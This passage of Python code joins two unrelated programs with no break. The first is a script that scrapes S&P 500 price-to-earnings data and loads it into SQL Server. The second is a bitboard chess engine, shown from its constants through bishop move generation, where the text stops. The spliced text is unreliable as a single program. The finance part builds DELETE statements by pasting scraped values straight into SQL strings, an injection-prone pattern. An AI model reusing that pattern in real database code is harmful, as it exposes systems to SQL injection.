%s and ([RegulaPE] IS NULL) ;""" % (dbName, dateStr, row[1], row[2]) cursor.execute(query) print (row[0]) params = tuple(row) query = """INSERT INTO %s VALUES (?,?,?,? );""" %(dbName) cursor.execute(query, params) cnxn.commit() cursor.close() cnxn.close() # url = myguruShiller._multpl_shillerTotal_URL # saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Multpl_sp500_shiller_dailyUpdated.csv' # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE # multpl_sp500Total_shillerPE_daily(url, saveFileFullPath, dbName) def guru_sp500_PE_TotalNormal_daily(url, dbName, saveFileFullPath): # url = 'https://www.investing.com/earnings-calendar/' header = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36", "X-Requested-With": "XMLHttpRequest" } r = requests.get(url, headers=header) dfs = pd.read_html(r.text) df1 = dfs[1] df = pd.DataFrame() df['Date'] = pd.to_datetime(df1[df1.columns[0]] , format='%Y-%m-%d') df['Sector'] = 'SP500' df['Shiller'] = None df['Regular'] = pd.to_numeric(df1[df1.columns[1]], errors='coerce') df = df.replace({np.NAN: None}) df = df.sort_values(by = df.columns[0], ascending=False) #******** df4 = df.head(5) # df4 = df #******** df4.to_csv(saveFileFullPath, mode='a', index = False, header=False) df_a = pd.read_csv(saveFileFullPath).drop_duplicates() df_b = df_a.sort_values(by = [df_a.columns[0]]) df_b.to_csv(saveFileFullPath, index = False, float_format = '%.3f') #-------sql--------------------- cnxn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+_server+';DATABASE='+_database+';UID='+_username+';PWD='+_password) cursor = cnxn.cursor() #*****quick update********************* df = df.head(15) #****************************** for index, row in df.iterrows(): # if row[0] < pd.to_datetime('1900-01-01', format='%Y-%m-%d'): # break dateStr = row[0] query = """DELETE FROM %s where Date = '%s' and [Sector] = '%s' and [ShillerPE] IS NULL and ([RegulaPE] = '%s') ;""" % (dbName, dateStr, row[1], row[3]) cursor.execute(query) # print (row[0]) params = tuple(row) query = """INSERT INTO %s VALUES (?,?,?,? );""" %(dbName) cursor.execute(query, params) cnxn.commit() cursor.close() cnxn.close() # url = myguruShiller._Guru_sp500_PE_totalNormal_URL # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE # saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Guru_sp500_PE_TotalNormal_dailyUpdated.csv' # guru_sp500_PE_TotalNormal_daily(url, dbName, saveFileFullPath) # print() def Multpl_sp500_PE_TotalNormal_monthly(fileFullPath, dbName): df1 = pd.read_csv(fileFullPath) df = pd.DataFrame() df['Date'] = pd.to_datetime(df1[df1.columns[0]] , format='%Y-%m-%d') df['Sector'] = 'SP500' df['Shiller'] = None df['Regular'] = pd.to_numeric(df1[df1.columns[1]], errors='coerce') df = df.replace({np.NAN: None}) df = df.sort_values(by = df.columns[0], ascending=False) #-------sql--------------------- cnxn = pyodbc.connect('DRIVER={ODBC Driver 17 for SQL Server};SERVER='+_server+';DATABASE='+_database+';UID='+_username+';PWD='+_password) cursor = cnxn.cursor() for index, row in df.iterrows(): if row[0] < pd.to_datetime('1900-01-01', format='%Y-%m-%d'): break # dateStr = row[0] # query = """DELETE FROM %s where Date = '%s' and [Sector] = '%s' and [ShillerPE] IS NULL and ([RegulaPE] = '%s') ;""" % (dbName, dateStr, row[1], row[3]) # cursor.execute(query) # print (row[0]) params = tuple(row) query = """INSERT INTO %s VALUES (?,?,?,? );""" %(dbName) cursor.execute(query, params) cnxn.commit() cursor.close() cnxn.close() # fileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/backup/MULTPL-SP500_PE_RATIO_MONTH.csv' # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE # Multpl_sp500_PE_TotalNormal_monthly(fileFullPath, dbName) # print() def multpl_sp500Total_shillerPE_daily_run(): #----mulpl shiller total PE------ dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE url = myguruShiller._multpl_shillerTotal_URL saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Multpl_sp500_PE_TotalShiller_dailyUpdated.csv' multpl_sp500Total_shillerPE_daily(url, saveFileFullPath, dbName) def sp500_daily_run_PE(): # dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE # #----mulpl shiller total PE------ # url = myguruShiller._multpl_shillerTotal_URL # saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Multpl_sp500_PE_TotalShiller_dailyUpdated.csv' # multpl_sp500Total_shillerPE_daily(url, saveFileFullPath, dbName) multpl_sp500Total_shillerPE_daily_run() #-----------Sector----------------- guru_sp500_PE_shillerSector_daily() #---------guru total normal PE------------- dbName = _sqlTable_SP500_Ratios_daily_sector_shillerPE url = myguruShiller._Guru_sp500_PE_totalNormal_URL saveFileFullPath = myguruShiller.SP500_Ratios_dir_PE + '/Guru_sp500_PE_TotalNormal_dailyUpdated.csv' guru_sp500_PE_TotalNormal_daily(url, dbName, saveFileFullPath) sp500_daily_run_PE() #___________----------- # import xlrd # def sql_excelFile_SP500_Ratios_dir_ShillerPE(fileFullPath, dbName): # col = ['Date', 'Basic Materials', 'c1', 'Consumer Cyclical', 'c2', # 'Financial Services', 'c3', 'Real Estate', 'c4', 'Consumer Defensive', 'c5', # 'Healthcare', 'c6', 'Utilities', 'c7', 'Communication Services', 'c8', # 'Energy', 'c9', 'Industrials', 'c10', 'Technology', 'c11' ] # # df = pd.read_excel(fileFullPath, engine='custom_xlrd', names = col) # workbook = xlrd.open_workbook(fileFullPath, ignore_workbook_corruption =True ) # excel = pd.read_excel(workbook, names = col) # df[colDate] = pd.to_datetime(df[colDate], format = '%Y-%m') # for col in df.columns[1:]: # df[col] = pd.to_numeric(df[col], errors='coerce',downcast= 'integer') # sql_monthly_marginStast(df, dbName) # # fileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE + '/GuruFocus_Sector_Shiller_PE_Historical_Data.xls' # fileFullPath = myguruShiller.SP500_Ratios_dir_ShillerPE + '/GuruFocus_Sector_Shiller_PE_Historical_Data.csv' # dbName = _sqlTable_Sector_Shiller_PE_ # # sql_excelFile_SP500_Ratios_dir_ShillerPE(fileFullPath, dbName) # class CustomXlrdReader(_XlrdReader): # def load_workbook(self, filepath_or_buffer): # """Same as original, just uses ignore_workbook_corruption=True)""" # from xlrd import open_workbook # if hasattr(filepath_or_buffer, "read"): # data = filepath_or_buffer.read() # return open_workbook(file_contents=data, ignore_workbook_corruption=True) # else: # return open_workbook(filepath_or_buffer) # from copy import deepcopy from random import choice from time import sleep, time COLOR_MASK = 1 << 3 WHITE = 0 << 3 BLACK = 1 << 3 ENDGAME_PIECE_COUNT = 7 PIECE_MASK = 0b111 EMPTY = 0 PAWN = 1 KNIGHT = 2 BISHOP = 3 ROOK = 4 QUEEN = 5 KING = 6 JOKER = 7 PIECE_TYPES = [PAWN, KNIGHT, BISHOP, ROOK, QUEEN, KING, JOKER] PIECE_VALUES = {EMPTY: 0, PAWN: 100, KNIGHT: 300, BISHOP: 300, ROOK: 500, QUEEN: 900, JOKER: 1300, KING: 42000} FILES = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'] RANKS = ['1', '2', '3', '4', '5', '6', '7', '8'] CASTLE_KINGSIDE_WHITE = 0b1 << 0 CASTLE_QUEENSIDE_WHITE = 0b1 << 1 CASTLE_KINGSIDE_BLACK = 0b1 << 2 CASTLE_QUEENSIDE_BLACK = 0b1 << 3 FULL_CASTLING_RIGHTS = CASTLE_KINGSIDE_WHITE | CASTLE_QUEENSIDE_WHITE | CASTLE_KINGSIDE_BLACK | CASTLE_QUEENSIDE_BLACK ALL_SQUARES = 0xFFFFFFFFFFFFFFFF FILE_A = 0x0101010101010101 FILE_B = 0x0202020202020202 FILE_C = 0x0404040404040404 FILE_D = 0x0808080808080808 FILE_E = 0x1010101010101010 FILE_F = 0x2020202020202020 FILE_G = 0x4040404040404040 FILE_H = 0x8080808080808080 RANK_1 = 0x00000000000000FF RANK_2 = 0x000000000000FF00 RANK_3 = 0x0000000000FF0000 RANK_4 = 0x00000000FF000000 RANK_5 = 0x000000FF00000000 RANK_6 = 0x0000FF0000000000 RANK_7 = 0x00FF000000000000 RANK_8 = 0xFF00000000000000 DIAG_A1H8 = 0x8040201008040201 ANTI_DIAG_H1A8 = 0x0102040810204080 LIGHT_SQUARES = 0x55AA55AA55AA55AA DARK_SQUARES = 0xAA55AA55AA55AA55 FILE_MASKS = [FILE_A, FILE_B, FILE_C, FILE_D, FILE_E, FILE_F, FILE_G, FILE_H] RANK_MASKS = [RANK_1, RANK_2, RANK_3, RANK_4, RANK_5, RANK_6, RANK_7, RANK_8] INITIAL_BOARD = [WHITE | ROOK, WHITE | KNIGHT, WHITE | BISHOP, WHITE | QUEEN, WHITE | KING, WHITE | BISHOP, WHITE | KNIGHT, WHITE | ROOK, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, WHITE | PAWN, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, EMPTY, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | PAWN, BLACK | ROOK, BLACK | KNIGHT, BLACK | BISHOP, BLACK | QUEEN, BLACK | KING, BLACK | BISHOP, BLACK | KNIGHT, BLACK | ROOK] EMPTY_BOARD = [EMPTY for _ in range(64)] INITIAL_FEN = 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1' STROKES_YOLO = '1k6/2b1p3/Qp4N1/4r2P/2B2q2/1R6/2Pn2K1/8 w - - 0 1' PIECE_CODES = {WHITE | KING: 'K', WHITE | QUEEN: 'Q', WHITE | ROOK: 'R', WHITE | BISHOP: 'B', WHITE | KNIGHT: 'N', WHITE | PAWN: 'P', WHITE | JOKER: 'J', BLACK | KING: 'k', BLACK | QUEEN: 'q', BLACK | ROOK: 'r', BLACK | BISHOP: 'b', BLACK | KNIGHT: 'n', BLACK | PAWN: 'p', BLACK | JOKER: 'j', EMPTY: '.'} PIECE_CODES.update({v: k for k, v in PIECE_CODES.items()}) DOUBLED_PAWN_PENALTY = 10 ISOLATED_PAWN_PENALTY = 20 BACKWARDS_PAWN_PENALTY = 8 PASSED_PAWN_BONUS = 20 ROOK_SEMI_OPEN_FILE_BONUS = 10 ROOK_OPEN_FILE_BONUS = 15 ROOK_ON_SEVENTH_BONUS = 20 PAWN_BONUS = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -40, -40, 0, 0, 0, 1, 2, 3, -10, -10, 3, 2, 1, 2, 4, 6, 8, 8, 6, 4, 2, 3, 6, 9, 12, 12, 9, 6, 3, 4, 8, 12, 16, 16, 12, 8, 4, 5, 10, 15, 20, 20, 15, 10, 5, 0, 0, 0, 0, 0, 0, 0, 0] KNIGHT_BONUS = [-10, -30, -10, -10, -10, -10, -30, -10, -10, 0, 0, 0, 0, 0, 0, -10, -10, 0, 5, 5, 5, 5, 0, -10, -10, 0, 5, 10, 10, 5, 0, -10, -10, 0, 5, 10, 10, 5, 0, -10, -10, 0, 5, 5, 5, 5, 0, -10, -10, 0, 0, 0, 0, 0, 0, -10, -10, -10, -10, -10, -10, -10, -10, -10] BISHOP_BONUS = [-10, -10, -20, -10, -10, -20, -10, -10, -10, 0, 0, 0, 0, 0, 0, -10, -10, 0, 5, 5, 5, 5, 0, -10, -10, 0, 5, 10, 10, 5, 0, -10, -10, 0, 5, 10, 10, 5, 0, -10, -10, 0, 5, 5, 5, 5, 0, -10, -10, 0, 0, 0, 0, 0, 0, -10, -10, -10, -10, -10, -10, -10, -10, -10] KING_BONUS = [0, 20, 40, -20, 0, -20, 40, 20, -20, -20, -20, -20, -20, -20, -20, -20, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40, -40] KING_ENDGAME_BONUS = [0, 10, 20, 30, 30, 20, 10, 0, 10, 20, 30, 40, 40, 30, 20, 10, 20, 30, 40, 50, 50, 40, 30, 20, 30, 40, 50, 60, 60, 50, 40, 30, 30, 40, 50, 60, 60, 50, 40, 30, 20, 30, 40, 50, 50, 40, 30, 20, 10, 20, 30, 40, 40, 30, 20, 10, 0, 10, 20, 30, 30, 20, 10, 0] verbose = False # ========== CHESS GAME ========== class Game: def __init__(self, FEN=''): self.board = INITIAL_BOARD self.to_move = WHITE self.ep_square = 0 self.castling_rights = FULL_CASTLING_RIGHTS self.halfmove_clock = 0 self.fullmove_number = 1 self.position_history = [] if FEN != '': self.load_FEN(FEN) self.position_history.append(FEN) else: self.position_history.append(INITIAL_FEN) self.move_history = [] def get_move_list(self): return ' '.join(self.move_history) def to_FEN(self): FEN_str = '' for i in range(len(RANKS)): first = len(self.board) - 8 * (i + 1) empty_sqrs = 0 for fille in range(len(FILES)): piece = self.board[first + fille] if piece & PIECE_MASK == EMPTY: empty_sqrs += 1 else: if empty_sqrs > 0: FEN_str += '{}'.format(empty_sqrs) FEN_str += '{}'.format(piece2str(piece)) empty_sqrs = 0 if empty_sqrs > 0: FEN_str += '{}'.format(empty_sqrs) FEN_str += '/' FEN_str = FEN_str[:-1] + ' ' if self.to_move == WHITE: FEN_str += 'w ' if self.to_move == BLACK: FEN_str += 'b ' if self.castling_rights & CASTLE_KINGSIDE_WHITE: FEN_str += 'K' if self.castling_rights & CASTLE_QUEENSIDE_WHITE: FEN_str += 'Q' if self.castling_rights & CASTLE_KINGSIDE_BLACK: FEN_str += 'k' if self.castling_rights & CASTLE_QUEENSIDE_BLACK: FEN_str += 'q' if self.castling_rights == 0: FEN_str += '-' FEN_str += ' ' if self.ep_square == 0: FEN_str += '-' else: FEN_str += bb2str(self.ep_square) FEN_str += ' {}'.format(self.halfmove_clock) FEN_str += ' {}'.format(self.fullmove_number) return FEN_str def load_FEN(self, FEN_str): FEN_list = FEN_str.split(' ') board_str = FEN_list[0] rank_list = board_str.split('/') rank_list.reverse() self.board = [] for rank in rank_list: rank_pieces = [] for p in rank: if p.isdigit(): for _ in range(int(p)): rank_pieces.append(EMPTY) else: rank_pieces.append(str2piece(p)) self.board.extend(rank_pieces) to_move_str = FEN_list[1].lower() if to_move_str == 'w': self.to_move = WHITE if to_move_str == 'b': self.to_move = BLACK castling_rights_str = FEN_list[2] self.castling_rights = 0 if castling_rights_str.find('K') >= 0: self.castling_rights |= CASTLE_KINGSIDE_WHITE if castling_rights_str.find('Q') >= 0: self.castling_rights |= CASTLE_QUEENSIDE_WHITE if castling_rights_str.find('k') >= 0: self.castling_rights |= CASTLE_KINGSIDE_BLACK if castling_rights_str.find('q') >= 0: self.castling_rights |= CASTLE_QUEENSIDE_BLACK ep_str = FEN_list[3] if ep_str == '-': self.ep_square = 0 else: self.ep_square = str2bb(ep_str) self.halfmove_clock = int(FEN_list[4]) self.fullmove_number = int(FEN_list[5]) # ================================ def get_piece(board, bitboard): return board[bb2index(bitboard)] def bb2index(bitboard): for i in range(64): if bitboard & (0b1 << i): return i def str2index(position_str): fille = FILES.index(position_str[0].lower()) rank = RANKS.index(position_str[1]) return 8 * rank + fille def bb2str(bitboard): for i in range(64): if bitboard & (0b1 << i): fille = i % 8 rank = int(i / 8) return '{}{}'.format(FILES[fille], RANKS[rank]) def str2bb(position_str): return 0b1 << str2index(position_str) def move2str(move): return bb2str(move[0]) + bb2str(move[1]) def single_gen(bitboard): for i in range(64): bit = 0b1 << i if bitboard & bit: yield bit def piece_gen(board, piece_code): for i in range(64): if board[i] & PIECE_MASK == piece_code: yield 0b1 << i def colored_piece_gen(board, piece_code, color): for i in range(64): if board[i] == piece_code | color: yield 0b1 << i def opposing_color(color): if color == WHITE: return BLACK if color == BLACK: return WHITE def piece2str(piece): return PIECE_CODES[piece] def str2piece(string): return PIECE_CODES[string] def print_board(board): print('') for i in range(len(RANKS)): rank_str = str(8 - i) + ' ' first = len(board) - 8 * (i + 1) for fille in range(len(FILES)): rank_str += '{} '.format(piece2str(board[first + fille])) print(rank_str) print(' a b c d e f g h') def print_rotated_board(board): r_board = rotate_board(board) print('') for i in range(len(RANKS)): rank_str = str(i + 1) + ' ' first = len(r_board) - 8 * (i + 1) for fille in range(len(FILES)): rank_str += '{} '.format(piece2str(r_board[first + fille])) print(rank_str) print(' h g f e d c b a') def print_bitboard(bitboard): print('') for rank in range(len(RANKS)): rank_str = str(8 - rank) + ' ' for fille in range(len(FILES)): if (bitboard >> (fille + (7 - rank) * 8)) & 0b1: rank_str += '# ' else: rank_str += '. ' print(rank_str) print(' a b c d e f g h') def lsb(bitboard): for i in range(64): bit = (0b1 << i) if bit & bitboard: return bit def msb(bitboard): for i in range(64): bit = (0b1 << (63 - i)) if bit & bitboard: return bit def get_colored_pieces(board, color): return list2int([(i != EMPTY and i & COLOR_MASK == color) for i in board]) def empty_squares(board): return list2int([i == EMPTY for i in board]) def occupied_squares(board): return nnot(empty_squares(board)) def list2int(lst): rev_list = lst[:] rev_list.reverse() return int('0b' + ''.join(['1' if i else '0' for i in rev_list]), 2) def nnot(bitboard): return ~bitboard & ALL_SQUARES def rotate_board(board): rotated_board = deepcopy(board) rotated_board.reverse() return rotated_board def flip_board_v(board): flip = [56, 57, 58, 59, 60, 61, 62, 63, 48, 49, 50, 51, 52, 53, 54, 55, 40, 41, 42, 43, 44, 45, 46, 47, 32, 33, 34, 35, 36, 37, 38, 39, 24, 25, 26, 27, 28, 29, 30, 31, 16, 17, 18, 19, 20, 21, 22, 23, 8, 9, 10, 11, 12, 13, 14, 15, 0, 1, 2, 3, 4, 5, 6, 7] return deepcopy([board[flip[i]] for i in range(64)]) def east_one(bitboard): return (bitboard << 1) & nnot(FILE_A) def west_one(bitboard): return (bitboard >> 1) & nnot(FILE_H) def north_one(bitboard): return (bitboard << 8) & nnot(RANK_1) def south_one(bitboard): return (bitboard >> 8) & nnot(RANK_8) def NE_one(bitboard): return north_one(east_one(bitboard)) def NW_one(bitboard): return north_one(west_one(bitboard)) def SE_one(bitboard): return south_one(east_one(bitboard)) def SW_one(bitboard): return south_one(west_one(bitboard)) def move_piece(board, move): new_board = deepcopy(board) new_board[bb2index(move[1])] = new_board[bb2index(move[0])] new_board[bb2index(move[0])] = EMPTY return new_board def make_move(game, move): new_game = deepcopy(game) leaving_position = move[0] arriving_position = move[1] # update_clocks new_game.halfmove_clock += 1 if new_game.to_move == BLACK: new_game.fullmove_number += 1 # reset clock if capture if get_piece(new_game.board, arriving_position) != EMPTY: new_game.halfmove_clock = 0 # for pawns: reset clock, removed captured ep, set new ep, promote if get_piece(new_game.board, leaving_position) & PIECE_MASK == PAWN: new_game.halfmove_clock = 0 if arriving_position == game.ep_square: new_game.board = remove_captured_ep(new_game) if is_double_push(leaving_position, arriving_position): new_game.ep_square = new_ep_square(leaving_position) if arriving_position & (RANK_1 | RANK_8): new_game.board[bb2index(leaving_position)] = new_game.to_move | QUEEN # reset ep square if not updated if new_game.ep_square == game.ep_square: new_game.ep_square = 0 # update castling rights for rook moves if leaving_position == str2bb('a1'): new_game.castling_rights = remove_castling_rights(new_game, CASTLE_QUEENSIDE_WHITE) if leaving_position == str2bb('h1'): new_game.castling_rights = remove_castling_rights(new_game, CASTLE_KINGSIDE_WHITE) if leaving_position == str2bb('a8'): new_game.castling_rights = remove_castling_rights(new_game, CASTLE_QUEENSIDE_BLACK) if leaving_position == str2bb('h8'): new_game.castling_rights = remove_castling_rights(new_game, CASTLE_KINGSIDE_BLACK) # castling if get_piece(new_game.board, leaving_position) == WHITE | KING: new_game.castling_rights = remove_castling_rights(new_game, CASTLE_KINGSIDE_WHITE | CASTLE_QUEENSIDE_WHITE) if leaving_position == str2bb('e1'): if arriving_position == str2bb('g1'): new_game.board = move_piece(new_game.board, [str2bb('h1'), str2bb('f1')]) if arriving_position == str2bb('c1'): new_game.board = move_piece(new_game.board, [str2bb('a1'), str2bb('d1')]) if get_piece(new_game.board, leaving_position) == BLACK | KING: new_game.castling_rights = remove_castling_rights(new_game, CASTLE_KINGSIDE_BLACK | CASTLE_QUEENSIDE_BLACK) if leaving_position == str2bb('e8'): if arriving_position == str2bb('g8'): new_game.board = move_piece(new_game.board, [str2bb('h8'), str2bb('f8')]) if arriving_position == str2bb('c8'): new_game.board = move_piece(new_game.board, [str2bb('a8'), str2bb('d8')]) # update positions and next to move new_game.board = move_piece(new_game.board, (leaving_position, arriving_position)) new_game.to_move = opposing_color(new_game.to_move) # update history new_game.move_history.append(move2str(move)) new_game.position_history.append(new_game.to_FEN()) return new_game def unmake_move(game): if len(game.position_history) < 2: return deepcopy(game) new_game = Game(game.position_history[-2]) new_game.move_history = deepcopy(game.move_history)[:-1] new_game.position_history = deepcopy(game.position_history)[:-1] return new_game def get_rank(rank_num): rank_num = int(rank_num) return RANK_MASKS[rank_num] def get_file(file_str): file_str = file_str.lower() file_num = FILES.index(file_str) return FILE_MASKS[file_num] def get_filter(filter_str): if filter_str in FILES: return get_file(filter_str) if filter_str in RANKS: return get_rank(filter_str) # ========== PAWN ========== def get_all_pawns(board): return list2int([i & PIECE_MASK == PAWN for i in board]) def get_pawns(board, color): return list2int([i == color | PAWN for i in board]) def pawn_moves(moving_piece, game, color): return pawn_pushes(moving_piece, game.board, color) | pawn_captures(moving_piece, game, color) def pawn_captures(moving_piece, game, color): return pawn_simple_captures(moving_piece, game, color) | pawn_ep_captures(moving_piece, game, color) def pawn_pushes(moving_piece, board, color): return pawn_simple_pushes(moving_piece, board, color) | pawn_double_pushes(moving_piece, board, color) def pawn_simple_captures(attacking_piece, game, color): return pawn_attacks(attacking_piece, game.board, color) & get_colored_pieces(game.board, opposing_color(color)) def pawn_ep_captures(attacking_piece, game, color): if color == WHITE: ep_squares = game.ep_square & RANK_6 if color == BLACK: ep_squares = game.ep_square & RANK_3 return pawn_attacks(attacking_piece, game.board, color) & ep_squares def pawn_attacks(attacking_piece, board, color): return pawn_east_attacks(attacking_piece, board, color) | pawn_west_attacks(attacking_piece, board, color) def pawn_simple_pushes(moving_piece, board, color): if color == WHITE: return north_one(moving_piece) & empty_squares(board) if color == BLACK: return south_one(moving_piece) & empty_squares(board) def pawn_double_pushes(moving_piece, board, color): if color == WHITE: return north_one(pawn_simple_pushes(moving_piece, board, color)) & (empty_squares(board) & RANK_4) if color == BLACK: return south_one(pawn_simple_pushes(moving_piece, board, color)) & (empty_squares(board) & RANK_5) def pawn_east_attacks(attacking_piece, board, color): if color == WHITE: return NE_one(attacking_piece & get_colored_pieces(board, color)) if color == BLACK: return SE_one(attacking_piece & get_colored_pieces(board, color)) def pawn_west_attacks(attacking_piece, board, color): if color == WHITE: return NW_one(attacking_piece & get_colored_pieces(board, color)) if color == BLACK: return SW_one(attacking_piece & get_colored_pieces(board, color)) def pawn_double_attacks(attacking_piece, board, color): return pawn_east_attacks(attacking_piece, board, color) & pawn_west_attacks(attacking_piece, board, color) def is_double_push(leaving_square, target_square): return (leaving_square & RANK_2 and target_square & RANK_4) or \ (leaving_square & RANK_7 and target_square & RANK_5) def new_ep_square(leaving_square): if leaving_square & RANK_2: return north_one(leaving_square) if leaving_square & RANK_7: return south_one(leaving_square) def remove_captured_ep(game): new_board = deepcopy(game.board) if game.ep_square & RANK_3: new_board[bb2index(north_one(game.ep_square))] = EMPTY if game.ep_square & RANK_6: new_board[bb2index(south_one(game.ep_square))] = EMPTY return new_board # ========== KNIGHT ========== def get_knights(board, color): return list2int([i == color | KNIGHT for i in board]) def knight_moves(moving_piece, board, color): return knight_attacks(moving_piece) & nnot(get_colored_pieces(board, color)) def knight_attacks(moving_piece): return knight_NNE(moving_piece) | \ knight_ENE(moving_piece) | \ knight_NNW(moving_piece) | \ knight_WNW(moving_piece) | \ knight_SSE(moving_piece) | \ knight_ESE(moving_piece) | \ knight_SSW(moving_piece) | \ knight_WSW(moving_piece) def knight_WNW(moving_piece): return moving_piece << 6 & nnot(FILE_G | FILE_H) def knight_ENE(moving_piece): return moving_piece << 10 & nnot(FILE_A | FILE_B) def knight_NNW(moving_piece): return moving_piece << 15 & nnot(FILE_H) def knight_NNE(moving_piece): return moving_piece << 17 & nnot(FILE_A) def knight_ESE(moving_piece): return moving_piece >> 6 & nnot(FILE_A | FILE_B) def knight_WSW(moving_piece): return moving_piece >> 10 & nnot(FILE_G | FILE_H) def knight_SSE(moving_piece): return moving_piece >> 15 & nnot(FILE_A) def knight_SSW(moving_piece): return moving_piece >> 17 & nnot(FILE_H) def knight_fill(moving_piece, n): fill = moving_piece for _ in range(n): fill |= knight_attacks(fill) return fill def knight_distance(pos1, pos2): init_bitboard = str2bb(pos1) end_bitboard = str2bb(pos2) fill = init_bitboard dist = 0 while fill & end_bitboard == 0: dist += 1 fill = knight_fill(init_bitboard, dist) return dist # ========== KING ========== def get_king(board, color): return list2int([i == color | KING for i in board]) def king_moves(moving_piece, board, color): return king_attacks(moving_piece) & nnot(get_colored_pieces(board, color)) def king_attacks(moving_piece): king_atks = moving_piece | east_one(moving_piece) | west_one(moving_piece) king_atks |= north_one(king_atks) | south_one(king_atks) return king_atks & nnot(moving_piece) def can_castle_kingside(game, color): if color == WHITE: return (game.castling_rights & CASTLE_KINGSIDE_WHITE) and \ game.board[str2index('f1')] == EMPTY and \ game.board[str2index('g1')] == EMPTY and \ (not is_attacked(str2bb('e1'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('f1'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('g1'), game.board, opposing_color(color))) if color == BLACK: return (game.castling_rights & CASTLE_KINGSIDE_BLACK) and \ game.board[str2index('f8')] == EMPTY and \ game.board[str2index('g8')] == EMPTY and \ (not is_attacked(str2bb('e8'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('f8'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('g8'), game.board, opposing_color(color))) def can_castle_queenside(game, color): if color == WHITE: return (game.castling_rights & CASTLE_QUEENSIDE_WHITE) and \ game.board[str2index('b1')] == EMPTY and \ game.board[str2index('c1')] == EMPTY and \ game.board[str2index('d1')] == EMPTY and \ (not is_attacked(str2bb('c1'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('d1'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('e1'), game.board, opposing_color(color))) if color == BLACK: return (game.castling_rights & CASTLE_QUEENSIDE_BLACK) and \ game.board[str2index('b8')] == EMPTY and \ game.board[str2index('c8')] == EMPTY and \ game.board[str2index('d8')] == EMPTY and \ (not is_attacked(str2bb('c8'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('d8'), game.board, opposing_color(color))) and \ (not is_attacked(str2bb('e8'), game.board, opposing_color(color))) def castle_kingside_move(game): if game.to_move == WHITE: return (str2bb('e1'), str2bb('g1')) if game.to_move == BLACK: return (str2bb('e8'), str2bb('g8')) def castle_queenside_move(game): if game.to_move == WHITE: return (str2bb('e1'), str2bb('c1')) if game.to_move == BLACK: return (str2bb('e8'), str2bb('c8')) def remove_castling_rights(game, removed_rights): return game.castling_rights & ~removed_rights # ========== BISHOP ========== def get_bishops(board, color): return list2int([i == color | BISHOP for i in board]) def bishop_rays(moving_piece): return diagonal_rays(moving_piece) | anti_diagonal_rays(moving_piece) def diagonal_rays(moving_piece): return NE_ray(moving_piece) | SW_ray(moving_piece) def anti_diagonal_rays(moving_piece): return NW_ray(moving_piece) | SE_ray(moving_piece) def NE_ray(moving_piece): ray_atks = NE_one(moving_piece) for _ in range(6): ray_atks |= NE_one(ray_atks) return ray_atks & ALL_SQUARES def SE_ray(moving_piece): ray_atks = SE_one(moving_piece) for _ in range(6): ray_atks |= SE_one(ray_atks) return ray_atks & ALL_SQUARES def NW_ray(moving_piece): ray_atks = NW_one(moving_piece) for _ in range(6): ray_atks |= NW_one(ray_atks) return ray_atks & ALL_SQUARES def SW_ray(moving_piece): ray_atks = SW_one(moving_piece) for _ in range(6): ray_atks |= SW_one(ray_atks) return ray_atks & ALL_SQUARES def NE_attacks(single_piece, board, color): blocker = lsb(NE_ray(single_piece) & occupied_squares(board)) if blocker: return NE_ray(single_piece) ^ NE_ray(blocker) else: return NE_ray(single_piece) def NW_attacks(single_piece, board, color): blocker = lsb(NW_ray(single_piece) & occupied_squares(board)) if blocker: return NW_ray(single_piece) ^ NW_ray(blocker) else: return NW_ray(single_piece) def SE_attacks(single_piece, board, color): blocker = msb(SE_ray(single_piece) & occupied_squares(board)) if blocker: return SE_ray(single_piece) ^ SE_ray(blocker) else: return SE_ray(single_piece) def SW_attacks(single_piece, board, color): blocker = msb(SW_ray(single_piece) & occupied_squares(board)) if blocker: return SW_ray(single_piece) ^ SW_ray(blocker) else: return SW_ray(single_piece) def diagonal_attacks(single_piece, board, color): return NE_attacks(single_piece, board, color) | SW_attacks(single_piece, board, color) def anti_diagonal_attacks(single_piece, board, color): return NW_attacks(single_piece, board, color) | SE_attacks(single_piece, board, color) def bishop_attacks(moving_piece, board, color): atks = 0 for piece in single_gen(moving_piece): atks |= diagonal_attacks(piece, board, color) | anti_diagonal_attacks(piece, board, color) return atks def bishop_moves(moving_piece, board, color): return bishop_attacks(moving_piece, board, color) & nnot(get_colored_pieces(board, color)) # ========== 